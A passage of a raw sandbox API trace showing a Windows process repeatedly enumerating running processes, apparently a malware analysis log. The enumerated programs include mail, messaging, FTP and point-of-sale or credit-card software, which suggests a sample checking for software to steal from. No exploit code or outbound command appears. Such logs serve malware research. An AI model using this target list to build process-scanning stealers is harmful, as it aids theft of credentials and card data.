out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0110.779] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0110.782] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0110.784] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0110.790] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0110.793] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0110.796] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0110.799] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0110.803] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0110.805] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0110.808] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0110.810] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0110.859] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0110.862] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0110.865] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0110.868] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0110.871] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0110.873] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0110.876] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0110.880] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0110.882] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0110.885] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0110.887] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0110.890] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0110.892] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0110.894] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0110.897] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0110.900] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0110.902] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0110.905] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0110.907] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0110.911] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0110.913] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.918] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0110.922] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0110.925] CloseHandle (hObject=0x1e90) returned 1 [0110.925] Sleep (dwMilliseconds=0x64) [0111.025] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e90 [0111.043] Process32First (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.045] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.048] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.054] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.057] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.060] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.062] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.064] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.067] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.069] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.072] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.080] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0111.083] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.086] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.088] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.091] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.093] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.096] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.098] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.100] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0111.103] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.105] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0111.108] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0111.111] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.114] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0111.116] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0111.118] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0111.121] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.124] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0111.126] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0111.129] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0111.132] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.134] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0111.136] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0111.139] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0111.141] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.144] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0111.146] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.148] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0111.151] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0111.154] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0111.156] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0111.158] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0111.161] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0111.163] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0111.166] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0111.168] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0111.171] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0111.173] Process32Next 